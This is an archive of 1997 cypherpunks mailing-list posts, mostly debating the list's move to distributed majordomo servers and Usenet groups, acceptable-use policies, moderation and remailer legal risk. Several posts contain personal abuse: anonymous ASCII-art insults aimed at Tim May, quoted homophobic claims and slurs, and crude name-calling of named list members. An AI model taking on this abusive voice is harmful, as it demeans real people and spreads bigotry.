Date: Thu, 13 Feb 1997 13:10:23 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <199702131504.JAA20582@manifold.algebra.com>
Message-ID: <vpafp876ss.fsf@grendel.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Igor Chudov @ home writes:

IC> This is where the distributed nature of the list comes in.  if
IC> someone disagrees with Jim's AUP, he or she can use soem other
IC> mailing list host.

	And once I'm up and running, my cypherpunks list server will
not be interconnected with any server which has a similar AUP.  The
implication of the AUP is that if you _don't_ comply with it, you will
be blocked.  Without such an implication, the AUP is meaningless, and
I'm dedicated that there should be no filtering/blocking of any kind,
of the list.  Persons behaving 'unacceptably' should be handled by
social pressures by others in the 'community' of the list, and not by
policies of the list operators.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 13 Feb 1997 15:10:27 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199702130208.SAA29106@trapdoor.aracnet.com>
Message-ID: <Pine.LNX.3.95.970213150847.7217D-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Tobin Fricke wrote:

	Turns out they were just late in gettin it to me, but I did get
it.

> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Thu, 13 Feb 1997 15:33:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: unsubcribe
Message-ID: <3303A4DF.6F6E@joshuanet.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE <lerhuber@joshuanet.com>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 15:38:43 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
In-Reply-To: <199702130118.TAA02401@einstein>
Message-ID: <3.0.1.32.19970213154248.0074ce38@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:18 PM 2/12/97 -0600, Jim Choate wrote:
[quoting Tim May]
>> I was making the point that _any_ site distributing a list is likely to
>> face legal pressures not to carry certain items. Read between the lines (or
>> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
>> the products of Sandy's company, and legal pressures applied, to see what I
>> mean.
>
>This is exactly the reason that my suggestion to anyone setting up a
>remailer with any sort of controversial content should do it as some sort of
>outreach of their business. It is too expensive in time, money, and hassles
>to do for grins and giggles.

I disagree strongly that a controversial or legally troublesome list (or
other data stream) should be closely associated with a business. While I
agree that it's important that a list be supported by a robust
hardware/software/network infrastructure, businesses tend to be focused on
making money and maintaining business relationships, not on abstract or
philosophical goals like "free speech".

(Also, what is the "right" thing to do where a particular exercise of free
speech looks like it has serious potential to harm the business, thereby
harming or eliminating the list which makes the speech possible? Isn't
every choice a person could make in such a situation reducible to
"censorship"?)

Every "forum" for free speech occurs exists in the context of economic and
political relationships - and there will always be some message which
threatens (to some degree) the stability of those relationships, and by
implication, the forum itself. Unless we can eliminate economics and
politics (ha, ha) I think that will always be the case - and there will
always be some messages which raise "conflict of interest" problems. But
some forums rest on less stable relationships (like, for example, most
small businesses) and are more easily threatened by difficult messages.
It's much easier to disrupt the income stream of a small business than to
disrupt the income stream from a portfolio of investments or savings. But
even a system whose upkeep was funded by something as unremarkable as
interest on a savings account or a CD would still theoretically be
"conflicted" were someone to use the system to propose or carry out a
scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
loot various savings & loans. 

The threat(s) to systems providing transport/storage for controversial
messages are not limited to liability after a judgement; it is becoming
more common for civil plaintiffs to seek (and get) discovery of the actual
hardware owned and used by defendants, in order to look through the storage
media for discoverable information, including "deleted" files. The tactics
the Co$ used against its critics were shocking but also legal (modulo some
irregularities). It's certainly not unimaginable that similar tactics would
be used against a remailer or majordomo operator were the list to pass
traffic that someone didn't like. And if a computer system is the target of
a search warrant in the criminal arena, you'll be lucky if you get to keep
your electronic alarm clocks after the search. Count on everything with a
chip in it going away in the police van.

Most businesses don't want to expose themselves to the threat of civil or
criminal seizure or discovery, especially not at random times and for
non-business reasons. So, to the extent that they're paying attention, they
may choose not to expose themselves to extra liability which carries little
(or no) business value.  
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 13:06:56 -0800 (PST)
To: warlord@MIT.EDU (Derek Atkins)
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <199702131941.LAA09515@toad.com>
Message-ID: <199702132103.QAA12914@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


A while back, I experimented with a technique for adding an md5 based
message-id at the top of my procmailrc.  Never got it working.  I'll
give it another shot middle of March, when I get back from FC '97*,
and catch up on stuff.

Someone could of course, beat me to it.

The flow was:

all messages get piped into md5, then use formail to set a new header.

Adam



Derek Atkins wrote:
| Anil Das <das@sgi.com> writes:
| 
| [snip]
| > It detects duplicates by Message-Id.
| 
| Unfortunately, the messages that make it through to the cypherpunks
| list have their MessageID changed when they get approved.  So,
| checking for duplicates by MessageID fails, given the current approval
| mechanism. :(
| 
| I've informed Sandy of the problem, but he doesn't know how to
| preserve the original MessageIDs.
| 
| -derek
| 
| -- 
|        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
|        Member, MIT Student Information Processing Board  (SIPB)
|        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
|        warlord@MIT.EDU                        PGP key available
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 13 Feb 1997 16:03:58 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702140004.QAA20943@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 Feb 97 at 5:00, Attila T. Hun wrote:

> 
>     I don't like the regulatory agencies either, but at least they
>     are not Judge Roy Bean, Law West of the Pecos.
> 
>     unfortunately, until the irresponsible tone down their greed, we
>     need the regulation to protect ourselves from the predators.

Attila:  I am shocked that you would make this statement.  What makes 
you think that the 'regulators' would go away, once the greedy spammers 
"toned down their greed"?  Spammers as Predators?  Are you being 
sarcastic?  Are you seriously saying that spammers are preying on the 
weak?

I am one-thousand % AGAINST regulation of any sort.

> 
>     in other words, I agree with you in my heart, but our society
>     refuses to cooperate.  

If cooperation means regulation, count me out.

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Homer W. Smith" <homer@lightlink.com>
Date: Thu, 13 Feb 1997 13:48:54 -0800 (PST)
To: Wazoo MixMaster <mix@earth.wazoo.com>
Subject: Re: Remailer Network Under Attack
In-Reply-To: <199702132116.OAA21790@earth.wazoo.com>
Message-ID: <Pine.SUN.3.95.970213164712.3040C-100000@light.lightlink.com>
MIME-Version: 1.0
Content-Type: text/plain



> Given the variety of addresses being "spam baited", the only logical
> target of this abuse is the remailers themselves.  Both sides of
> certain heated controversies report being made the target of this
> spam bait, each side accusing the other of being responsible.

    Allegations of responsibility are a serious charge and should
be looked into immediately.


     GOOD GUYS AND BAD GUYS, circa 12/95

     There are two kinds of people in the world.  Those that divide
people into two kinds and those that don't.

     With that in mind, I present to you the following over
simplification.

     There are two kinds of people in the world, the good guys and the
bad guys.

     The good guys speak with the Voice of Truth, and the bad guys
speak with the Voice of Lies.

     I believe that anonymity is the foundation of freedom in the
known universe.  Anonymity is the ability to speak either the voice of
truth or the voice of lies without anyone knowing who you are.

     Accountability is the opposite of Anonymity.  Accountability
means that everyone knows who said what and can take them to task for
it.

     Both sides can use force to silence the other side, but usually
its the bad guys who use force to silence the good guys, good guys use
more voice of Truth to expose the bad guys.
 
     Although some would claim that in general accountability is a
good thing, I would point out that ALL members of the controlling
party of the emerging police state are adamantly FOR absolute
accountability at all times for all their citizens.  That should give
one pause to wonder.

     Anonymity is actually very hard to maintain, and absolute
anonymity for all people at all times is very difficult indeed.

     Therefore by observation a society or oganization is usually
operating at some gradient scale of anonymity between the extremes of
total anonymity and total non anonymity.

     It can come to pass that certain gradient levels of anonymity end
up benefitting the bad guys more than the good guys.  In these
situations, the bad guys tend to start winning and the good guys
perceive that the bad guys are winning BECAUSE of anonymity.

     Rather than use the weapon of anonymity themselves to protect
against the bad guys, the usual convulsive reaction on the part of the
good guys is to try and close down the channels of anonymity to keep
the bad guys located and corralled, rather than to open up the
channels more and use it themselves.  This does not occur to them, or
if it does they are beset with visions of the bad guys getting away
with more than they are now.

     The logic for closing down the channels of anonymity goes
something like this.  Since our country is ruled by an Omni
Intelligent and Omni Beneficent God King, if we can track every
communication down to the person who said it, the God King will be
able to tell the good guys from the bad guys, and silence the bad guys
for us.

     The problem with this logic is that our country is not run by a
God King, but by human beings who tend to elect each other into power
based on outrageous criteria.

     As the bad guys see themselves getting corraled with
accountability, they simply run for office and get themselves elected
into the positions of power where THEY are the ones taking action
against the bad guys.  Of course they take action against the good
guys instead.

     It is for this reason that the temptation to tighten
accountability when anonymity is abused is always an error and leads
to a terrible trap worse than any tar pit.  Namely only the bad guys
get to speak, and the good guys get to remain silent fearing for their
lives.
 
     Which is why when the police ask if you have something to hide
after you have refused to let them spot search your belongings, you
must always say, "Of course, I have EVERYTHING to hide.  FROM YOU!"

     Anyhow as an ISP it is my job to provide the channels of
communication between people.  That's what I do, I provide the
CHANNEL.  This includes standard accountable channels and not so
standard anonymous channels.

     People who communicate with each other tend to get into fights
with each other over what they are communicating about.  Usually they
take their fights out on each other.  But when anonymous channels are
used, they can't get to each other, they don't know who each other is,
so they take it out on the provider of the channel instead.  That's
me.
  
     It's enough to make you want to throw anonymity in the waste
basket.

     Providing a communication channel is a difficult job, it usually
involves a precarious balance between allowing the good guys to speak
and making sure the bad guys don't get away with the gold.

     It is very hard to maintain that balance with both sides pulling
and tugging on you because they can't pull and tug on each other.

     One of the main purposes of the Subscriber Agreement is to make
sure that people pull and tug on each other, and leave me out of it
even if they got no one to target at the other end.

     Homer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 13 Feb 1997 14:44:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & cypherpunks
Message-ID: <199702132250.QAA04963@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

After talking w/ Sten (firebeard) I have agreed to drop the explicit PD
proviso. This means the Cypherpunks Distributed Remailer is operaing
under the Burne Convention of implicit copyright.

This is gonna be fun.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 15:47:38 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <3.0.1.32.19970213144604.027ebc5c@mail.io.com>
Message-ID: <199702140051.QAA12304@songbird.com>
MIME-Version: 1.0
Content-Type: text


Greg Broiles allegedly said:
> 
> At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
> >
> >This is where the distributed nature of the list comes   in.
> >
> >if someone disagrees with Jim's AUP, he or she can use soem other
> >mailing list host.
> 
> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 
> 
> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?
> 
> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Both realistically and idealistically speaking, the peer relationships
should be up to each list operator.  

And, once again, both realistically and idealistically speaking, each
list operator should set their own policies.  The beauty of this 
scheme is that it gives maximum freedom to both the list operators 
*and* the list members -- if a list operator wants to filter out 
clever asci art, they can, and contrariwise, if the list members want 
to change list operators as a result, they can.  In fact, I don't see 
why moderated versions of the list couldn't happily coexist as part 
of the distributed list.  Let those flowers bloom!

BTW, I am planning on an upgrade to majordomo 1.94.1 this weekend, 
and I will be setting up cypherpunks@songbird.com at that time.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 13 Feb 1997 09:52:55 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cypherpunks-announce?  Do we need to recreate this?
Message-ID: <855853716.107890.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Now that cypherpunks is moving, to both a newsgroup and one or more 
> mailing lists, there's still a need for cypherpunks-announce or 
> something like it.  So far it's carried 1-2 announcements per month.
> 
> Should we create it as a mailing list, moderated or unmoderated,
> or as a newsgroup?  (It's been a moderated mailing list, run by John and
> Hugh.)

I newsgrouped several sub groups along with alt.cypherpunks.

alt.cypherpunks.announce
alt.cypherpunks.social
alt.cypherpunks.technical

but they do not appear to have taken effect (my local news server 
refuses to see them). Can anyone else see them? - If not I`ll have a 
word with my newsadmin.



 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Thu, 13 Feb 1997 09:17:41 -0800 (PST)
To: aga@dhp.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <19970213171732.9310.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Date: Thu, 13 Feb 1997 11:24:57 -0500 (EST)
> From: aga <aga@dhp.com>
> 
> Well, the fact remains that the homos are instrumental in creating and
> forming a cliquish and censored usenet.  There is just no question
> about that.  Remember the previous cypherpunk who stated that the
> gays "created and run usenet."

No.  Who said that, and why do you think the person was serious, let
alone telling the truth?

> Your assumption that I am a "bigot" makes it you appear uninformed.
> Sexism is good, but racism is bad.   A sexist is not a bigot.
> 
> The only one who qualifies as a "bigot" is a racist.

According to the American Heritage dictionary:
  bigot n. One who is strongly partial to one's own group, religion,
     race, or politics and is intolerant of those who differ.

According to Webster:
  bigot n. One obstinately or intolerantly devoted to his own opinions
     and prejudices

I see nothing that limits bigotry to racial intolerance.

> It is very logical and wise to discriminate on the basis of sex.

Most would disagree, and decide based on that and other statements you
have made that you must be an extremely unpleasant person.

If you want to fight censorship effectively, going around telling
people "You're a shit-eating faggot you fucking cock-sucking homo
censor" in public forums is not going to win you many points.
Instead, it will quickly land you in many people's killfiles, and will
eventually lead some people with bad client software to wonder if it
wouldn't be worth giving up some freedom of speech for the benefit of
not having to see your rants any more.

I'm not saying you don't have a right to express your opinions.  I'm
just remarking that you appear to be more in the business of inducing
censorship than fighting it.  If that's the case, so be it; someone
has to get censored in order for people to fight censorship, and
exposing people's willingness to censor is not necessarily a bad thing
in itself.

Unfortunately, it sort of makes life harder for those who actually
fight the censorship when you pretend to be one of them.  Your
argument seems to run something like, "To protect freedom of speech,
bad all faggots from the net, and especially don't let them run any
mailing lists."  If this offensive and highly noticeable argument
eclipses many of the important, fundamental ones as the censors would
like it too (why do you think your articles make it to cypherpunks-
flames while mine only get as far as -unedited), you will end up not
only inducing censorship but also seriously hampering the efforts of
those who are legitimately fighting that censorship.

> I am not a racist, so therefore I can not be a "bigot," regardless of
> my views on homosexuality.

See above.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 13 Feb 1997 14:20:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Firewalls
Message-ID: <199702132220.RAA31398@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May proves that the Midwestern gene pool needs some chlorine in it.

     o      o o o   o
    /~>    <><><>   <> Timmy May
 o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 13 Feb 1997 17:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: OTP
Message-ID: <199702140140.RAA22574@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[rook] May digs into his cesspool of a mind for his mailing list 
fertilizer.

     o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
    /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[rook] May
    / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 03:09:38 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <855916839.1020920.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> Timmy has a valid point: the reason why a comp.* newsgroup might have less
> cross-posted and "off-topic" crap is because net.cops would be more
> likely to complain to posters' sysadmins. Having a charter state that
> cypherpunks have technical means to ignore traffic they don't like,
> and don't need anyone forging cancels or complaining to sysadmins
> or otherwise getting silenced, is a good idea.

I don`t believe for one moment that, however well intentioned such a 
move would be, it would work. The most notorious net.cops who 
thoroughly deserve the (spit) after their name would take little 
notice of such a charter and take it upon themselved to "act in the 
best interests of the usenet community"

I think the only real soluion is to see alt.cypherpunks, or indeed 
any usenet group along those lines, as I see it: Something to fill a 
gap while we get a solid and reliable mailing list format working 
again. There are too many problems with the usenet approach and if 
certain list members have great leanings towards the usenet angle we 
can gate it just as mail.cypherpunks is a gated group now.

Any more news on the majordomo network Igor?




> 
> What's going to happen when (not if) someone posts something in
> alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
> and forges a cancel? Or someone posts a binary and Richard
> "little dick" Depew forges a cancel?
> 
> > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > > list. I've been thinking of how to deal with crap, and with the obvious des
> > > by some people to delegate their decision what to read and what not to read
> > > to other people.
> >
> > It is alt.* and soc.* that has most crap, sci and comp are way better.
> 
> There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
> sysadmins of anyone posting to that newsgroup who's in a member of the
> "in" crowd". It may or may not cut down on the crap, but is it worth it?
> 
> > > Most people don't have nocem-enabled newareaders yet... Which is where the
> > > network of cypherpunks majordomos Igor's been busy creating comes in very
> > > handy.
> > >
> >
> > It is a very good idea to let NoCeM issuers and filterers work
> > independently from list nodes.
> 
> 
> Yes - from the legal liability point of view (since it bothers the lying
> cocksucker Gilmore (spit, fart, belch) so  much): suppose someone
> anonymously posts  skipjack source code to alt.cypherpunks. Under the
> present systen, say, the arachelian asshole might decide not to forward
> it to his mailing list feaing the NSA. NoCeM's can separate the function
> of highlighting interesting articles from the function of forwarding
> these articles to subscribers who only want to see the highlighted
> articles.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 02:43:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: You guys/gals oughta get a kick outta this guy
Message-ID: <855916840.1020916.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Yet another person who needs a good stern talking to by the nearest
> > cypherpunk --- this guy posted to comp.lang.perl.misc with the following
> > blasphemy, which I luaghed at until I had tears in my eyes.
> > --BEGIN COMPLETE STUPIDITY--
> > I want to make it executable to protect the source code from being read. I
> > don't want the source code available because I don't want people looking
> > for security holes.
> > --END COMPLETE STUPIDITY--

NO! - It must be impossible to be this naive! - Thanks for the post, 
I laughed until I displaced a kidney ;-)

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 15:43:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702132350.RAA05077@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 14:46:04 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Private property & the cypherpunks list(s)

> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 

There is no policy at this point. We have not even agreed to a means to
institute the network or its basic architecture. The only point of mandatory
agreement is between any two individual list operators and the mechanism
they use to transfer between those two nodes.

This sort of policy distribution won't work, as to reasonable I think not.
If everyone does their own thing with no compromise then nothing will
get done.

> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?

There are no explicit rules at this point. Yes there can be all sorts of 
rules, both implicit (eg copyrights) and explicit. Anyone can write rules.
Nobody must agree to anything other than implicit agreements, course
the concept of 'agreement' sorta goes out the window with implicits.

> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Don't see how anyone can force the remailer to do anything.

Can't speak for anyone else but can say with some degree of certainty that
no participant in cpunks can stop me from subscribing whoever I want. There
is certainly no mechanism envisioned to authenticate subscriptions with
the remailer operators.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 17:51:56 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale-Further proof
In-Reply-To: <199702131605.IAA21730@mailmasher.com>
Message-ID: <3303C4E1.A87@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> Yet another Dale day (blah):
> :From: Dale Thorn <dthorn@gte.net>
> :Another blood stain on Gilmore's shroud, as it were.

> As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.
> As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

Unlike crypto, metaphors are easier to "decode" than "encode", so it
takes quite a bit less intellect for you to understand them than it
takes for me to make them.  But I don't see that as a "bad" thing
for you.  It's a savage, cruel world out there, and only when you
shut yourself off to it (unwittingly in your case) do you feel "good".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Thu, 13 Feb 1997 08:14:41 -0800 (PST)
To: "'cyberpunk@toad.com>
Subject: FW: I would like to be out of your mailing list
Message-ID: <01BC19D7.EE75ECA0@pm2-s0.dm.net.lb>
MIME-Version: 1.0
Content-Type: text/plain




I would like to get out of your mailing list , please indicate the correct procedure. Thanks. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 14 Feb 1997 02:45:09 -0800 (PST)
To: cypherpunks@algebra.com
Subject: No Subject
Message-ID: <33035597.64782219@news.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

I have newsgrouped some further alt.groups as follows:

alt.cypherpunks.announce
alt.cypherpunks.technical
alt.cypherpunks.social

I recommend that posters crosspost as follows:

All messages, apart from announcements, go to alt.cypherpunks.
Alt.cypherpunks.announce holds announcements only and it`s
contents is disjoint with that of alt.cypherpunks.

Alt.cypherpunks.technical: All posts to this group are also
crossposted to alt.cypherpunks

alt.cypherpunks.social: All posts to this group are also
crossposted to alt.cypherpunks.

The newsgroup names are pretty self explanatory but technical is just
for technical discussion and social for discussion of social and
political issues regarding cryptography. 

With this crossposting scheme readers can either get the whole content
or just the part they want easily without filtering working overtime,
for instance, I might choose to subscribe to alt.cypherpunks.technical
and only dip into alt.cypherpunks.social when I felt like a flame war
;-)

As I said, its only a guideline of course and post what you want where
you want but i feel this organisation allows people to easily choose
the part of the discussion they want to read.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 16:10:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702140016.SAA05170@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 13:50 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)

> 	Well, if you can't deliver mail because their mailbox is full, then
> you should simply wait a few days before trying to deliver mail to that
> address. If it's because the address isn't there any more, you should delete
> it from the subscription lists. Otherwise, the instant people's mail quotas
> overflow (e.g., they're on AOL and they haven't been able to get through the
> clogged lines), they get bounced... or you're left with a lot of invalid
> addresses.

If their mailbox is full I might let it sit a day. If I still get a bounce
after that I currently yank it. As I stated earlier, I am currently trying to
decide if daily or weekly purges are in order. I personaly lean toward daily.
I certainly am not buying disk space just so somebody else can use it for
storing things they don't personaly have room for.

> The address causing the bounce is not necessarily determinable
> automatically from the bounce message; if it isn't, then you need to keep a
> copy around for a human to look at.

Hmmm, to date I haven't had a problem determining where the cause was
from the bounces I see. I can't always tell why but it always seems to
say whose email address was involved.

> 	Given that there are pre-existing news-mail gateways, I'd think that
> the programs should be available. My concern on the programming is more in
> the realm of keeping the thing up and running.

If you get it up and running there should be no programming involved. Unless
you want to reconfigure.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Thu, 13 Feb 1997 15:19:13 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE FROM MAILINGS
Message-ID: <970213231721_70401.3161_IHD121-1@CompuServe.COM>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE REMOVE MY NAME AND ADDRESS FROM YOUR MAILINGS.

THANK YOU





